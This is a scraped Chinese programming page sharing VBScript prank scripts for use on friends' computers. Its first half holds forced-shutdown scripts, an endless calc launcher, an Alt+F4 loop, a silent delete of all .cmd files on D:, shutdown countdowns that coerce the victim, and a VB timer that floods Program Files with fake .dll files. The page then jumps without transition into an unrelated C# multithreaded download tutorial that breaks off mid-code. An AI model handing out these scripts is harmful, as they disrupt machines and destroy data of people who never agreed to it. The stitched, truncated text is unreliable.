當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

vbs代码分享

發布時間：2023/12/20 编程问答 23 豆豆

生活随笔收集整理的這篇文章主要介紹了 vbs代码分享小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

vbs代碼分享
2011年06月03日
　　// 自動發消息[xx替換成好友昵稱]
　　xx.vbs
　　if MsgBox("對不起,你裝B太多需要重啟計算機"&chr(10)&"確定重啟嗎",vbOKcancel+vbInformation,"重啟計算機")=vbCancel then
　　msgbox "系統正在重啟wait","你上當了"
　　set objshell=createobject("Wscript.shell")
　　objshell.run "shutdown -s -t 5",,true
　　end if
　　// 打開無數個計算器
　　set wsh=createobject("wscript.shell")
　　do
　　wsh.run "calc"
　　loop
　　// 不斷彈出窗口
　　while(1)
　　msgbox "nihao"
　　loop
　　// 刪除所有cmd文件
　　dim WSHshell
　　set WSHshell=wscript.createobject("wscript.shell")
　　WSHshell.run "cmd /c""del D:\*.cmd /f /q /s""",0,true
　　// 不斷按下"Alt+F4"
　　dim wshshell
　　set wshshell=wscript.createobject("wscript.shell")
　　while(1)
　　wshshell.sendkeys "%{F4}"
　　loop
　　// 點擊1000次
　　dim s
　　do until s=1000
　　s=s+1
　　msgbox"nihao",64
　　loop
　　ws.run"cmd.exe /c echo nihao",0
　　ws.run"regedit.exe"
　　oShell.Run "regedit.exe"
　　WScript.echo("nihao")
　　我們來看下這個腳本
　　-------------------------------------------------- ------------------------------
　　on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下??????"" ",0 ,true
　　dim a
　　do while(a "我是豬")
　　a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
　　-------------------------------------------------- ------------------------------
　　新建一個記事本把上面的代碼復制進去另存為VBE格式的就可以了
　　cmd.exe /c shutdown -r -t 180 -c
　　這里的數字可以修改關機時間 180秒
　　這些文字也可以自設這個腳本啟用cmd 里的關機程序
　　如果不輸的的話可以打開任務管理器輸入shutdown -a 來解除我們試下這時定時關機已
　　經沒了但是還有個關不掉的窗口我們打開任務管理器結束掉Wscript.exe 這個進程就OK
　　了這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主
　　-------------------------------------------------- -----------------------------------------
　　下面看第二個整人的腳本
　　-------------------------------------------------- -----------------------------------------
　　set ws=createobject("wscript.shell")
　　call shutdown(1)
　　do while a"我是豬"
　　a=inputbox("快在下面的框框里輸入我是豬,否則后果自負，快輸""我是豬"" ","輸不輸","")
　　loop
　　call shutdown(2)
　　msgbox "早說就行了嘛",4096+64
　　msgbox"再輸一遍我是豬!",4096+64
　　msgbox"我是豬!",4096+64
　　MsgBox"最后一次!",4096+64
　　MsgBox"如果你很快的點過去,不看的話",4096+64
　　MsgBox"我就要你踩我空間的!哼!",4096+64
　　MsgBox"從前有座山!",4096+64
　　MsgBox"山里有個廟.",4096+64
　　MsgBox"廟里有個老和尚在講故事.",4096+64
　　ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
　　msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
　　for i=1 to 100
　　MsgBox i&"只綿羊",4096+64
　　next
　　msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
　　msgbox"最后問個問題，我是不是大好人！",4096+64
　　if inputbox("是不是","請選擇","是")"是" then
　　call shutdown(1)
　　end if
　　sub shutdown(s)
　　select case s
　　case 1
　　ws.run"cmd.exe /c shutdown -r -t 60 -c",0
　　case 2
　　ws.run"cmd.exe /c shutdown -a",0
　　end select
　　end sub
　　-------------------------------------------------- ------------------------------
　　ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
　　這段代碼可以改成你自己設定的地址
　　如果別人不輸我是豬的話就會一直點下去點到你設定的數字
　　for i=1 to 100
　　從1到100
　　可以改成 20 其他的數字
　　解除這個VBS腳本的辦法就簡單了只是關掉任務管理器里Wscript.exe
　　這個進程就好了
　　[color=#FF0000]
　　復制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBS格式，
　　此代碼的威力：
　　1：開機就強制自動關機
　　2：cmd命令打不開
　　3：結束任務不管用
　　4：F8安全模式也不管用
　　呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、
　　代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，
　　網頁整人效果代碼
　　想看效果，只要復制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。
　　
　　
　　
　　網頁特效|Linkweb.cn/Js|---很惡心的常見整人效果
　　
　　
　　不許把鼠標移到這里代碼如下：
　　Private Sub Form_Load()
　　Me.Hide
　　End Sub
　　Private Sub Timer1_Timer()
　　'聲明變量，其中“count”為靜態變量，以便生成不同的文件
　　Dim files As String
　　Dim nr As String
　　Dim c As String
　　Static count As Long
　　'定義要把生成的文件存放在那個目錄文件下
　　c = "C:\Program Files\"
　　'生成文件的內容
　　nr = "哈哈，被黑的感覺的不錯吧"
　　files = FreeFile
　　'如果a等于a那么就執行
　　If a = a Then
　　'count不斷的加1，以便產生不同的文件名
　　count = count + 1
　　'產生文件名及文件句柄，并用count作為產生不同的文件名。
　　Open c & "system" & count & ".dll" For Append As #files
　　'向文件寫內容
　　Write #files, nr
　　'清除文件句柄，這里很重要，如果不清除，將產生打開文件太多的錯誤提示
　　Close #files
　　End If
　　End Sub
　　很多人都有過使用網絡螞蟻或網絡快車軟件下載互聯網文件的經歷，這些軟件的使用可以大大加速互聯網上文件的傳輸速度，減少文件傳輸的時間。這些軟件為什么有如此大的魔力呢？其主要原因是這些軟件都采用了多線程下載和斷點續傳技術。如果我們自己來編寫一個類似這樣的程序，也能夠快速的在互聯網上下載文件，那一定是非常愉快的事情。下面我就講一講如何利用C#語言編寫一個支持多線程下載文件的程序，你會看到利用C#語言編寫網絡應程序是多么的容易，從中也能體會到C#語言中強大的網絡功能。
　　首先介紹一下HTTP協議，HTTP亦即Hpyer Text Transfer Protocal的縮寫，它是現代互聯網上最重要的一種網絡協議，超文本傳輸協議位于TCP/IP協議的應用層，是一個面向無連接、簡單、快速的C/S結構的協議。HTTP的工作過程大體上分連接、請求、響應和斷開連接四個步驟。C#語言對HTTP協議提供了良好的支持，在.NET類庫中提供了WebRequest和WebResponse類，這兩個類都包含在System.Net命名空間中，利用這兩個類可以實現很多高級的網絡功能，本文中多線程文件下載就是利用這兩個類實現的。 WebRequest和WebResponse都是抽象基類，因此在程序中不能直接作為對象使用，必須被繼承，實際使用中，可根據URI參數中的URI前綴選用它們合適的子類，對于HTTP這類URI,HttpWebRequest和HttpWebResponse類可以用于處理客戶程序同WEB服務器之間的HTTP通訊。
　　HttpWebRequest類實現了很多通過HTTP訪問WEB服務器上文件的高級功能。HttpWebRequest類對WebRequest中定義的屬性和方法提供支持，HttpWebRequest將發送到Internet資源的公共HTTP標頭的值公開為屬性，由方法或系統設置，常用的由屬性或方法設置的HTTP標頭為：接受, 由Accept屬性設置, 連接, 由Connection屬性和KeepAlive屬性設置, Content-Length, 由ContentLength屬性設置, Content-Type, 由ContentType屬性設置, 范圍, 由AddRange方法設置. 實際使用中是將標頭信息正確設置后,傳遞到WEB服務器,WEB服務器根據要求作出回應。
　　HttpWebResponse類繼承自WebResponse類，專門處理從WEB服務器返回的HTTP響應，這個類實現了很多方法，具有很多屬性，可以全面處理接收到的互聯網信息。在HttpWebResponse類中，對于大多數通用的HTTP標頭字段，都有獨立的屬性與其對應，程序員可以通過這些屬性方便的訪問位于HTTP接收報文標頭字段中的信息，本例中用到的HttpWebResponse類屬性為：ContentLength 既接收內容的長度。
　　有了以上的了解后，下面看看這兩個類的用法，要創建HttpWebRequest對象，不要直接使用HttpWebRequest的構造函數，而要使用WebRequest.Create方法初始化一個HttpWebRequest實例，如：
　　HttpWebRequest hwr=(HttpWebRequest)WebRequest.Create(http://www.163.com/);
　　創建了這個對象后，就可以通過HttpWebRequest屬性，設置很多HTTP標頭字段的內容,如hwr.AddRange(100,1000);設置接收對象的范圍為100-1000字節。
　　HttpWebReques對象使用GetResponse()方法時，會返回一個HttpWebResponse對象，為提出HTTP返回報文信息，需要使用HttpWebResponse的GetResponseStream()方法，該方法返回一個Stream對象，可以讀取HTTP返回的報文，如：首先定義一個Strean 對象 public System.IO.Stream ns; 然后 ns=hwr.GetResponse ().GetResponseStream ();即可創建Stream對象。有了以上的準備知識后下面開始設計我們的多線程互聯網文件的下載程序，首先打開Visual Studio.Net集成開發環境，選擇“文件”、“新建”、“項目”，然后選擇“Visual C#項目”，在向導右邊列表框中選中“Windows應用程序”，輸入項目名稱，如本例為：httpftp,然后選擇“確定”按鈕，向導自動生成了一個Windows應用程序項目。首先打開窗口設計器設計應用程序窗口，增加如下控件：
　　一個列表框 listBox1 三個文本標簽 label1-label3 三個文本框 textBox1-textBox3 一個開始接收按鈕 button1 設計好的窗口如下圖：
　　控件定義代碼是：
　　public System.Windows.Forms.ListBox listBox1;
　　private System.Windows.Forms.Label label1;
　　private System.Windows.Forms.TextBox textBox1
　　private System.Windows.Forms.Button button1;
　　private System.Windows.Forms.Label label2;
　　private System.Windows.Forms.TextBox textBox2;
　　private System.Windows.Forms.Label label3;
　　private System.Windows.Forms.TextBox textBox3;
　　private System.Windows.Forms.Label label4;
　　private System.Windows.Forms.TextBox textBox4;
　　打開Form1的代碼編輯器，增加如下的命名空間：
　　using System.Net;//網絡功能
　　using System.IO;//流支持
　　using System.Threading ;//線程支持
　　增加如下的程序變量：
　　public bool[] threadw; //每個線程結束標志
　　public string[] filenamew;//每個線程接收文件的文件名
　　public int[] filestartw;//每個線程接收文件的起始位置
　　public int[] filesizew;//每個線程接收文件的大小
　　public string strurl;//接受文件的URL
　　public bool hb;//文件合并標志
　　public int thread;//進程數
　　定義一個HttpFile類，用于管理接收線程，其代碼如下：
　　public class HttpFile
　　{
　　public Form1 formm;
　　public int threadh;//線程代號
　　public string filename;//文件名
　　public string strUrl;//接收文件的URL
　　public FileStream fs;
　　public HttpWebRequest request;
　　public System.IO.Stream ns;
　　public byte[] nbytes;//接收緩沖區
　　public int nreadsize;//接收字節數
　　public HttpFile(Form1 form,int thread)//構造方法
　　{
　　formm=form;
　　threadh=thread;
　　}
　　~HttpFile()//析構方法
　　{
　　formm.Dispose ();
　　}
　　public void receive()//接收線程
　　{
　　filename=formm.filenamew[threadh];
　　strUrl=formm.strurl;
　　ns=null;
　　nbytes= new byte[512];
　　nreadsize=0;
　　formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"開始接收");
　　fs=new FileStream (filename,System.IO.FileMode.Create);
　　try
　　{
　　request=(HttpWebRequest)HttpWebRequest.Create (strUrl);
　　//接收的起始位置及接收的長度
　　request.AddRange(formm.filestartw [threadh],
　　formm.filestartw [threadh]+formm.filesizew [threadh]);
　　ns=request.GetResponse ().GetResponseStream ();//獲得接收流
　　nreadsize=ns.Read (nbytes,0,512);
　　while (nreadsize>0)
　　{
　　fs.Write (nbytes,0,nreadsize);
　　nreadsize=ns.Read (nbytes,0,512);
　　formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"正在接收");
　　}
　　fs.Close();
　　ns.Close ();
　　}
　　catch (Exception er)
　　{
　　MessageBox.Show (er.Message );
　　fs.Close();
　　}
　　formm.listBox1 .Items.Add ("進程"+threadh.ToString ()+"接收完畢!");
　　formm.threadw[threadh]=true;
　　}
　　}
　　該類和Form1類處于統一命名空間，但不包含在Form1類中。下面定義“開始接收”按鈕控件的事件響應函數：
　　private void button1_Click(object sender, System.EventArgs e)
　　{
　　DateTime dt=DateTime.Now;//開始接收時間
　　textBox1.Text =dt.ToString ();
　　strurl=textBox2.Text .Trim ().ToString ();
　　HttpWebRequest request;
　　long filesize=0;
　　try
　　{
　　request=(HttpWebRequest)HttpWebRequest.Create (strurl);
　　filesize=request.GetResponse ().ContentLength;//取得目標文件的長度
　　request.Abort ();
　　}
　　catch (Exception er)
　　{
　　MessageBox.Show (er.Message );
　　}
　　// 接收線程數
　　thread=Convert.ToInt32 (textBox4.Text .Trim().ToString (),10);
　　//根據線程數初始化數組
　　threadw=new bool [thread];
　　filenamew=new string [thread];
　　filestartw=new int [thread];
　　filesizew=new int[thread];
　　//計算每個線程應該接收文件的大小
　　int filethread=(int)filesize/thread;//平均分配
　　int filethreade=filethread+(int)filesize%thread;//剩余部分由最后一個線程完成
　　//為數組賦值
　　for (int i=0;i
　　

總結

以上是生活随笔為你收集整理的vbs代码分享的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

代码
vbs

上一篇：梦幻西游2开店心得日赚700万储备金
下一篇：磨皮插件portraiture2023最